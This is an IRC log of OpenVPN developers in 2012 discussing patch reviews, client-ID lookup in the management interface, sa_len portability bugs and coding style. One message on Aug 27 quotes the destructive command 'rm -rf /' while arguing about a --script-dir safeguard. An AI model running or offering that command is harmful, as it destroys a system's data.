<+krzee> [10:45] <vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 12:46 <+krzee> [10:45] <krzee> err 12:46 <+krzee> [10:46] * krzee eats words 12:46 <+krzee> LOL 12:46 <+krzee> i thought the git server was @ openvpn.net 12:50 <@cron2> we accept donations? gimmeee! --- Day changed Mon Aug 27 2012 03:03 -!- dazo_afk is now known as dazo 04:47 <@dazo> plaisthos: http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Fwww.3t.fi%2Fartikkeli%2Fuutiset%2Fteknologia%2Ftassa_on_jollan_salainen_ase 04:47 <@vpnHelper> Title: Google Translate (at translate.google.com) 05:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 07:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:09 <@cron2> dazo: so have you finished your release? 07:11 <@dazo> cron2: all the heavy lifting is done ... just going through log files and final reviews, but that's rather easier to do :) 07:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:22 <@d12fk> quite persistent guy with the --script-dir 08:33 <@ecrist> yes 08:33 <@ecrist> and all this patch solves is the complexity of his front-end 08:38 <@ecrist> If you just implement "script-dir", "rm -rf /" will simply never run. 08:38 <@ecrist> unless you have a script in --script-dir that does an rm -rf / 09:48 <@dazo> exactly 09:48 * dazo has probably said his final word in that discussion 09:55 < plaisthos> dazo: interesting 09:55 * dazo have so high hopes for Jolla phones that he will most likely be disappointed no matter how great those devices are :P 09:59 < plaisthos> hehe 12:06 -!- Netsplit *.net <-> *.split quits: @raidz_afk 13:52 -!- dazo is now known as dazo_afk 13:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Aug 28 2012 05:51 <@d12fk> Oh the "String Types and Remapping" sectionof the man page needs to be rewritten 07:46 < plaisthos> .oO(More uncommitted patches!) 07:56 * cron2 pokes dazo 07:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:13 -!- dazo_afk is now known as dazo 08:31 * cron2 pokes dazo again :) 08:31 * dazo looks up 08:33 <@dazo> cron2: what's up? 08:58 <@cron2> 14:46 < plaisthos> .oO(More uncommitted patches!) 08:58 <@dazo> ahh ... I feared that :) 08:58 <@cron2> nothing special, just daily routine poking :) 08:58 <@dazo> eeks .... 08:59 <@cron2> will it help if I promise to review plaisthos' two open patches tonight? 08:59 <@dazo> .oO(daily poking for uncommitted patches ... unbearable.....) 08:59 <@cron2> (*and* send ack/nack to the list) 08:59 <@dazo> yeah, that certainly helps 08:59 <@cron2> dazo: but easily solved :-) 08:59 <@cron2> ok, "I'll review plaisthos' open patches tonight!" 09:49 < plaisthos> the man page patches should be quite easy 13:15 -!- dazo is now known as dazo_afk 14:40 <@cron2> o-kay... (thinking through this, it might actually be sufficient for us just to use the intermediate CA, as that also client and server keys *for OpenVPN*). But I still think both should work ("it works with OpenSSL!") 14:42 <@andj> cron2: working on it, I'm intrigued about why it's not getting it 14:43 <@cron2> uh, fell from query to channel, sorry 14:43 <@andj> oh, oops, missed that 16:30 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 272 seconds] --- Day changed Wed Aug 29 2012 00:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:01 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:10 -!- dazo_afk is now known as dazo 14:07 -!- dazo is now known as dazo_afk 15:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Aug 30 2012 00:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 00:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:49 -!- dazo_afk is now known as dazo 07:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 09:57 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 09:57 -!- bantu_ [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 09:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 12:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 13:20 -!- dazo is now known as dazo_afk 16:08 -!- grossjo [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has joined #openvpn-devel 16:09 < grossjo> Hi, is it possible in a plugin or the management console to get a clients CID from their common name? 16:38 -!- grossjo [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has quit [Read error: Connection reset by peer] 16:38 -!- grossjo [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has joined #openvpn-devel 16:38 < grossjo> Hi, is it possible in a plugin or the management console to get a clients CID from their common name? 16:40 -!- grossjo [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has quit [Read error: Connection reset by peer] 16:46 -!- grossjo [~grossjo@96.45.197.22] has joined #openvpn-devel 16:51 -!- grossjo [~grossjo@96.45.197.22] has quit [Quit: grossjo] 19:05 -!- grossjo [~grossjo@CPE00a0d1202076-CM001ac318b414.cpe.net.cable.rogers.com] has joined #openvpn-devel 19:05 -!- grossjo [~grossjo@CPE00a0d1202076-CM001ac318b414.cpe.net.cable.rogers.com] has quit [Client Quit] --- Day changed Fri Aug 31 2012 02:15 -!- bantu_ [~quassel@phpbb/developer/bantu] has quit [Ping timeout: 260 seconds] 02:17 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 04:50 -!- dazo_afk is now known as dazo 06:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 06:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:38 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:39 < plaisthos> 06:41 <@cron2> my words 06:43 < plaisthos> cron2: :) 06:43 * plaisthos wonders if it is a good idea to implement a pcap writer for openvpn 06:57 <@cron2> "decapsulate incoming openvpn packets, dump into .pcap instead of tun/tap fd"? 07:09 < plaisthos> more like give android openvpn client a method of capturing all traffic without being root 07:11 -!- grossjo [~grossjo@CPE00a0d1202076-CM001ac318b414.cpe.net.cable.rogers.com] has joined #openvpn-devel 07:24 < grossjo> anyone in? 07:24 < grossjo> !git 07:24 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git, or (#5) If you have problems, 07:24 < grossjo> !snapshots 07:24 <@vpnHelper> relax: http://justinhileman.info/article/git-pretty/git-pretty.png 07:24 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 07:39 < plaisthos> grossjo: most people just idle here and look at the chat from time to time 07:39 < plaisthos> if you asked your question you probably get answer but it can take 3-4 if you are unlucky 07:39 < plaisthos> 3-4 h 07:45 <@cron2> plaisthos: that's what I thought - capture on android, while what you want can usually be done by capturing on "tunX" elsewhere (with root...) 07:46 <@cron2> in server mode, it doesn't always work as the (p2mp) server could decide to drop packets or (i)route to other clients... 07:46 <@cron2> so it's a somewhat esoteric feature, but has its uses... 07:52 -!- grossjo [~grossjo@CPE00a0d1202076-CM001ac318b414.cpe.net.cable.rogers.com] has quit [Quit: grossjo] 08:33 -!- grossjo [~grossjo@96.45.197.22] has joined #openvpn-devel 08:35 < grossjo> Is there a way in the management console or in a plugin, to map a common name to a CID.? 08:36 <@cron2> whatever a CID might be 08:36 < plaisthos> Client id 08:36 <@cron2> could have been certificate ID 08:36 < plaisthos> you need it for killing client connections 08:36 <@cron2> ah 08:37 < plaisthos> grossjo: for the management console you have to be connected all the time when a new client connects its cid is given in the log messages 08:38 < plaisthos> I proposed a patch for that a long time ago 08:38 < plaisthos> https://groups.google.com/forum/?fromgroups=#!topic/openvpn-devel/jIvifrFOJyk 08:38 <@vpnHelper> Title: Google Groups (at groups.google.com) 08:38 < grossjo> I noticed that there is a struct in management.c/h that has the mapping stored, CID -> common-name, is there a way to access that in a plugin? 08:39 < plaisthos> No idea about the plugin api, sorry :/ 08:41 < grossjo> I like the patch 08:42 < grossjo> thanks 08:43 <@dazo> grossjo: nope, no possibility via the plug-in ... at least currently :) 08:56 < plaisthos> grossjo: I will try to get a patch with the functionality into 2.3 08:58 <@dazo> plaisthos: If it's the CID -> common-name stuff ... then, yeah, I'll be able to accept it if it's not intrusive and covers the v3 API ... as that's still in "development mode" 09:01 < plaisthos> dazo: I meant the feature that status from the management console can show the CID 09:01 <@dazo> plaisthos: I thought James already applied that .... 09:01 < plaisthos> he did? 09:01 < plaisthos> let me check 09:02 <@dazo> maybe not that patch exactly, but something resembling that feature 09:04 <@dazo> ahh, not CID ... but username .... commit ca18a638aa7cf316611f893127ba44131e57083c 09:05 <@dazo> I remember James' comments on your CID patch, plaisthos, was that he was concerned about backwards compatibility ... but if you use the same approach as that commit and the same compat argument, it should be good to go ;-) 09:07 < plaisthos> I exactly did in my patch what he did in his patch :) 09:08 < plaisthos> I will just build a new patch including CID and submit it 09:08 <@dazo> thx! 09:08 <@dazo> grossjo: if you can test it, that'd be great 09:12 < grossjo> i'm working with a few others on a project at the moment, so we are just evaluating options, if we end up using the patch I'll let you know how it went. 09:13 < grossjo> we basically want to be able to send a reason to the client when denying an authentication request, and the console had the command 'client-deny' that lets you do this. But that command required a CID. 09:15 -!- grossjo_ [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has joined #openvpn-devel 09:17 -!- grossjo__ [~grossjo@96.45.197.22] has joined #openvpn-devel 09:17 -!- grossjo [~grossjo@96.45.197.22] has quit [Read error: Connection reset by peer] 09:17 -!- grossjo__ is now known as grossjo 09:21 -!- grossjo_ [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has quit [Ping timeout: 244 seconds] 10:14 -!- grossjo_ [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has joined #openvpn-devel 10:17 -!- grossjo [~grossjo@96.45.197.22] has quit [Ping timeout: 246 seconds] 10:17 -!- grossjo_ is now known as grossjo 13:26 -!- dazo is now known as dazo_afk 13:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:52 -!- grossjo [~grossjo@ec2-50-112-192-19.us-west-2.compute.amazonaws.com] has quit [Ping timeout: 244 seconds] 16:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:37 -!- grossjo_ [~grossjo@ec2-50-16-47-117.compute-1.amazonaws.com] has joined #openvpn-devel 16:41 -!- grossjo_ [~grossjo@ec2-50-16-47-117.compute-1.amazonaws.com] has quit [Client Quit] 17:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:58 -!- smartype [~smartype@125.116.175.12] has joined #openvpn-devel 22:10 -!- smartype [~smartype@125.116.175.12] has quit [Ping timeout: 240 seconds] --- Day changed Sat Sep 01 2012 03:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 07:31 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 07:47 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:47 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:57 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 07:59 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:15 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o andj__] by ChanServ 12:17 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 12:17 -!- andj__ is now known as andj 14:28 <@cron2> hehe, another one converted... JB IPSEC seems to be somewhere between "weird and broken", while OpenVPN "just works" :-) - kudos to plaisthos 14:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 19:34 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] --- Day changed Sun Sep 02 2012 01:52 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:53 <@cron2> plaisthos: to quote from the g+ thread (about OpenVPN in JB): "I can't say how many +1s I want to give for this. Even v6 is in there" ;-) 05:13 < plaisthos> cron2 :) 07:57 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 07:57 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 08:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 08:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:32 -!- dazo_afk is now known as dazo 12:32 * dazo wonders if cron2 is around ... 12:44 <@dazo> cron2: I'm wondering if you ever sent out ACKs on these patches ... http://article.gmane.org/gmane.network.openvpn.devel/6929 and http://article.gmane.org/gmane.network.openvpn.devel/6959 12:44 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 12:46 <@dazo> d12fk: could you please have a look at the windows code paths on this patch? http://article.gmane.org/gmane.network.openvpn.devel/6801 12:46 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 12:48 <@dazo> d12fk: I have no problem ACKing the non-Windows part of that patch 13:10 <@cron2> dazo: not on the very latest version. "Will do soon!" 13:11 <@dazo> cron2: thx! :) I'm doing some patch work :) 13:11 <@cron2> dazo: \o/ 13:11 <@dazo> I thought you would like that ;-) 13:12 * cron2 dances the dazo-is-back happiness dance! 13:13 <@dazo> hehe ... Unfortunately, I don't have the brain capacity to review unacked patches ... but I'll take what's acked for now :) 13:13 <@dazo> maybe next weekend for more fun :) 13:14 * cron2 goes and reviews Arne 1 and 4 right *now* 13:14 <@dazo> :) 13:21 <@cron2> wah, this code is not good for my heart 13:21 <@cron2> if (!init_route (&r, 13:21 <@cron2> &netlist, 13:21 <@cron2> &opt->routes[i], 13:21 <@cron2> rl)) 13:22 <@cron2> so, which of these parameters is an input parameter to init_route(), and which is a return value? 13:22 <@dazo> ehhh ... good questions 13:23 <@cron2> answer: return value, return value, input parameter, input parameter 13:24 <@dazo> &opt->routes[i] is kind of the surprise here then 13:24 <@cron2> yeah, "opt" is the "route_option_list", which is the collection of all --route options... but took me a bit of jumping back and forth 13:24 <@cron2> (this is not plaisthos' doing, he just changed the type of *netlist here) 13:25 * cron2 feels the need for an overhaul of route.c and route.h 13:28 <@cron2> meh 13:28 <@cron2> there's tabbing in there (new) with :set ts=4 13:28 <@cron2> dazo: do you fix whitespace issues at commit, or shall plaisthos send a v5? 13:29 <@dazo> cron2: I can clean up whitespaces 13:29 <@dazo> plaisthos needs to fix his editor ;-) 13:30 <@cron2> do we have official styleguides somewhere? 13:30 <@cron2> (hard to complain if we have nothing formal to point to) 13:30 <@dazo> no not really 13:31 <@dazo> except of the current code ... where the options.c is kind of pretty consistent 13:31 <@cron2> we should put up something, especially considering tabs ("if you use tabs at all, and dazo will frown at you if you do, use ts=8!") 13:32 <@dazo> I would like no tabs and indent of 8 spaces :) But that's my personal preference :) 13:32 <@cron2> the current code does not conform to that :-) 13:32 <@dazo> (if you code looks silly with 8 spaces indenting ... your code is silly) 13:33 * cron2 likes indent of 4 space, and curlies not-indented 13:33 <@dazo> yeah, 4 is kind of the Java style ... and I frown upon Java, just to piss off java people :-P 13:33 <@dazo> but I agree on curlies 13:34 <@cron2> my style is 10 years older than Java existed! 13:34 <@dazo> :) 13:34 <@cron2> but anyway, we should ask mattock to write a nice guideline page in the wiki, he's been making vacation for far too long now 13:34 <@dazo> +1 :) 13:36 <@dazo> btw ... speaking of holidays ... I'm heading out for some holidays soon too ... from Sept 19th and back around Oct 15th ... so I won't be complaining too much in those days :) 13:38 <@cron2> holidays = no work for RedHat = lots of work for OpenVPN? *duck* 13:38 <@cron2> (enjoy four weeks (!!) away from your machines :) ) 13:42 <@cron2> getaddr_multi ACKed \o/ 13:43 < plaisthos> cron2: wheee 13:51 * cron2 is not convinced part 4 of the patch set works... 13:51 <@cron2> Sun Sep 2 21:50:52 2012 TCPv4_CLIENT link remote: [AF_INET]:51194 13:52 <@cron2> Sun Sep 2 21:50:52 2012 TLS: Initial packet from [AF_INET]:51194 13:52 < plaisthos> that looks wrong now that I see that again 13:52 < plaisthos> let me check my patch again 13:53 <@cron2> the patch *looks* good, this is why I'm a bit surprised 13:54 <@cron2> and we have another nice surprise here, which has nothing to do with your patch... 13:54 <@cron2> Sun Sep 2 21:50:59 2012 WARNING: 'proto' is used inconsistently, local='proto TCPv4_SERVER', remote='proto TCPv6_SERVER' 13:54 <@cron2> (connecting via tcp-client to tcp6-server listening on v4+v6) 13:54 < plaisthos> :) 13:55 <@cron2> the code path works for IPv6 connects, tho 13:55 <@cron2> Sun Sep 2 21:51:57 2012 TCPv6_CLIENT link remote: [AF_INET6]2607:fc50:1001:5200::4:51194 13:59 <@dazo> cron2: could we make it so that if a client connects with tcp-client against a server with tcp6-server (and probably udp on client against udp6 server) ... that in these cases, no IPv6 init stuff happens? 14:00 < plaisthos> I have a patch here (untested) that seperates the protocol stuff into ipv4/ipv6 and TCP/UDP 14:00 <@cron2> dazo: I'm not sure what you are trying to tell me. It is that way :-) - the client has no idea that the server is ipv6-enabled, except that occ tells him "hey, your options are wrong" 14:01 <@cron2> plaisthos: it smells related to addr.sa.sa_len, if it works for AF_INET6 but not AF_INET 14:01 <@dazo> cron2: never mind ... I found a flaw in my thinking :) 14:01 <@dazo> thought -> /dev/null 14:03 <@cron2> Sun Sep 2 22:08:03 2012 TCP connection established with [AF_INET]199.102.77.82:51194 14:03 <@cron2> here we go 14:03 <@cron2> plaisthos: your code has 14:03 < plaisthos> cron2: the sa_len stuff? 14:03 <@cron2> + getnameinfo(&addr->addr.sa, sizeof (struct sockaddr_in6), 14:03 <@cron2> and that should be 14:03 <@cron2> + getnameinfo(&addr->addr.sa, addr->addr.sa.sa_len, 14:04 <@cron2> seems BSD will not process an AF_INET address if sa_len is "IPv6ish" 14:04 <@cron2> with that change, printing the connected-to address works for me for IPv4 and IPv6 14:05 < plaisthos> okay thanks :) 14:05 < plaisthos> i was trying the time thing just now 14:06 < plaisthos> Should I sent a new version with the change? 14:06 <@cron2> time thing? 14:06 < plaisthos> time should have been same 14:07 < plaisthos> don't ask why I type time, I don't know myself 14:07 * cron2 de-confuses his language parser :) 14:07 <@cron2> plaisthos: yes, please re-send, so I can ACK tonight and dazo can commit :-)) 14:16 < plaisthos> cron2: mail is out 14:17 < plaisthos> when using getaddrinfo 127.1 is now a valid alias for 127.0.0.1 :) 14:18 <@cron2> yeah, I've come across that one before - incomplete IPv4 addresses lead to "interesting" results 14:19 <@cron2> this v2 patch has... weird formatting 14:20 <@cron2> indentation 14:20 <@cron2> even with :set ts=4 it looks like this 14:20 <@cron2> switch(addr->addr.sa.sa_family) 14:20 <@cron2> { 14:21 <@dazo> plaisthos: if you do indenting with 2 spaces (no tabs) ... it'll all be just fine 14:21 < plaisthos> dazo: did I use tabs again? 14:21 <@cron2> yah, but still the bracket should be indented 2 *more* than the switch, not 2 *less* 14:21 <@cron2> plaisthos: yes, 4-wide :-) 14:22 <@dazo> plaisthos: I dunno about this last patch ... but it was plenty of tabs in the getaddr_multi() merge patch :) 14:22 * dazo just cleaned up that before committing it 14:28 <@dazo> plaisthos: I'll be nice today, and clean it up on your last patch as well :) 14:28 <@cron2> anyway, ACK sent, go watch TV now, then go to bed :) 14:28 <@cron2> dazo: thanks 14:29 <@dazo> cron2: thx a lot you too :) Enjoy the evening 14:30 * dazo will push out 8 committed patches after this last clean-up :) 14:30 <@cron2> yay 14:30 <@cron2> lets see what the buildslaves think about it... 14:30 <@dazo> yeah :) 14:36 <@dazo> cron2: plaisthos: I get an odd compile error on the last patch ... 14:36 <@dazo> gcc -DHAVE_CONFIG_H -I. -I../.. -I../../include -I../../src/compat -g -O2 -MT socket.o -MD -MP -MF .deps/socket.Tpo -c -o socket.o socket.c 14:36 <@dazo> socket.c: In function ‘print_sockaddr_ex’: 14:36 <@dazo> socket.c:2197:44: error: ‘const struct sockaddr’ has no member named ‘sa_len’ 14:36 <@dazo> make[3]: *** [socket.o] Error 1 14:36 <@dazo> So, I'll skip this one for today 14:40 <@dazo> Arne Schwabe (2): 14:40 <@dazo> Document the inlining of files in openvpn and document key-direction 14:40 <@dazo> Merge getaddr_multi and getaddr6 into one function 14:40 <@dazo> Gert Doering (3): 14:40 <@dazo> Reduce --version string detail about IPv6 to just "[IPv6]". 14:40 <@dazo> Put actual OpenVPN command line on top of corresponding log file. 14:40 <@dazo> Keep pre-existing tun/tap devices around on *BSD 14:40 <@dazo> Heiko Hund (2): 14:40 <@dazo> remove stale _openssl_get_subject() prototype 14:40 <@dazo> remove unused flag SSLF_NO_NAME_REMAPPING 14:40 <@dazo> That's what I pushed out now 14:45 <@vpnHelper> RSS Update - testtrac: Merge getaddr_multi and getaddr6 into one function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f2d6f3bc06db4f9e0815fc25e35e393f794c193a> || Keep pre-existing tun/tap devices around on *BSD <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3630a7a50099874d55bf8e212ad4a97d6e70966f> || remove unused flag SSLF_NO_NAME 14:46 < plaisthos> dazo: can you look at [Openvpn-devel] [PATCH] Document --management-client and --management-signal a bit better too? 14:48 <@dazo> plaisthos: whoops ... missed that one 14:51 <@dazo> plaisthos: done :) pushing now 14:57 <@vpnHelper> RSS Update - testtrac: Document --management-client and --management-signal a bit better <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c447b4265cd3fae308dd5798081d42f87ae89d91> 15:00 * dazo calls it a day now :) 15:26 -!- dazo is now known as dazo_afk 15:41 <@cron2> dazo: will look at the sa_len thingie tomorrow. Which OS was that? Linux? 15:50 <@cron2> Linux is... interesting 15:50 <@cron2> struct sockaddr 15:50 <@cron2> { 15:50 <@cron2> __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */ 15:50 <@cron2> note the comment: address family *and length* 15:51 <@cron2> but bits/socket.h defines this to only expand to sa_family 15:51 <@cron2> of the data types used for socket addresses, `struct sockaddr', 15:51 <@cron2> `struct sockaddr_in', `struct sockaddr_un', etc. */ 15:51 <@cron2> #define __SOCKADDR_COMMON(sa_prefix) \ 15:51 <@cron2> sa_family_t sa_prefix##family 15:51 <@cron2> note that it says "member*s*" but defines only one member 15:51 < plaisthos> yeah 15:51 <@cron2> wtf? 15:51 < plaisthos> I think we cannot make assumpotion about the struct :/ 15:52 <@cron2> I was operating under the assumption that sa_len is well-defined by the socket API... seems that wasn't so 15:56 <@cron2> http://lists.debian.org/debian-ipv6/2001/06/msg00015.html 15:56 <@vpnHelper> Title: Re: SA_LEN in linux (fwd) (at lists.debian.org) 15:58 <@cron2> why oh why... of course, NetBSD does *not* have SA_LEN() 15:59 <@cron2> Linux is just like Windows sometimes 16:00 < plaisthos> :) 16:00 < plaisthos> windows has no sa_len attribute either 16:00 < plaisthos> http://msdn.microsoft.com/de-de/library/ms740496(v=VS.85).aspx 16:01 <@cron2> 22:59 <@cron2> Linux is just like Windows sometimes 16:01 <@cron2> :) 16:05 <@cron2> seems we need an (openvpn_)SA_LEN() macro, then... 16:07 < plaisthos> os x does not have a SA_LEN macro either 16:11 < plaisthos> going to bed for today have to think about this tommorow 17:11 -!- noshadow [~i@chat.brlink.eu] has joined #openvpn-devel --- Day changed Mon Sep 03 2012 01:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:46 -!- dazo_afk is now known as dazo 01:47 < plaisthos> gna. Set emacs to format style gnu and offset 2 space and it still does it wrong :( 01:47 < plaisthos> ah now 02:00 <@mattock> back in business as usual 02:00 <@mattock> back to the treadmill, one might say :) 02:01 <@cron2> mattock: welcome back, we missed you :-) (translates to "we have lots of work that nobody else wants to do" *duck&run*) 02:08 <@mattock> hahaha 02:12 < plaisthos> bah 02:12 < plaisthos> rolling out v4/5 of my patch 02:15 <@cron2> let's see how many we can reach :-) 02:31 < plaisthos> somehow my subject prefix was ignored by git send-mail 02:32 < plaisthos> send-email -to=openvpn-devel@lists.sourceforge.net --suppress-cc=all --in-reply-to=1343837470-3923-5-git-send-email-arne@rfc2549.org --subject-prefix="Version 4" 0001-Simplify-print_sockaddr_ex-function-merge-duplicate-.patch 02:32 <@cron2> I was just about to mention that it's easier to see *what* I ACK if there were a "v5" in there... interesting 02:32 < plaisthos> anything wrong with the line? 02:32 <@cron2> I think it looks good, but dazo is the git wizard 02:35 <@dazo> plaisthos: I think that should work, if you give a commitsh reference to send-email ... but if you give it a patch file, it will ignore --subject-prefix 02:36 <@dazo> but if you would just give "PATCH v4" as prefix, it'll be flagged correctly in my mailbox as well :) 02:36 * dazo got patch filters looking for PATCH keywords, which adds some proper tagging for the patch queue 02:38 < plaisthos> For the format... 02:38 < plaisthos> Emacs with c-style gnu and c-basic-offset 2 seems to work well 02:38 <@cron2> mattock just pointed to 02:38 <@cron2> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Formatting 02:38 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 02:39 <@cron2> so if you could add what's needed to make emacs sing and dance? :) 02:39 < plaisthos> err 02:39 < plaisthos> Need to remember what my openvpn community password 02:40 <@dazo> plaisthos: just bug mattock about it :-P 02:40 <@mattock> plaisthos: you can also reset the password from here: https://community.openvpn.net/account 02:40 <@vpnHelper> Title: Password Self Service (at community.openvpn.net) 02:40 <@mattock> provided you remember the email you used for registration 02:47 < plaisthos> added what worked for me 02:47 < plaisthos> And I may add I still don't like GNU C style 02:48 <@dazo> :) 02:48 < plaisthos> Strangely enough gnu c coding style is not my (GNU) Emacs standard C style 02:50 < plaisthos> Can someone look at the new version of my CID patch? 02:51 < plaisthos> The style of openvpn is not really gnu c style either 02:51 <@dazo> plaisthos: I had a quick look at it yesterday, and it looks sane to me ... but I'd like to test it before ACK ... unless someone else beats me 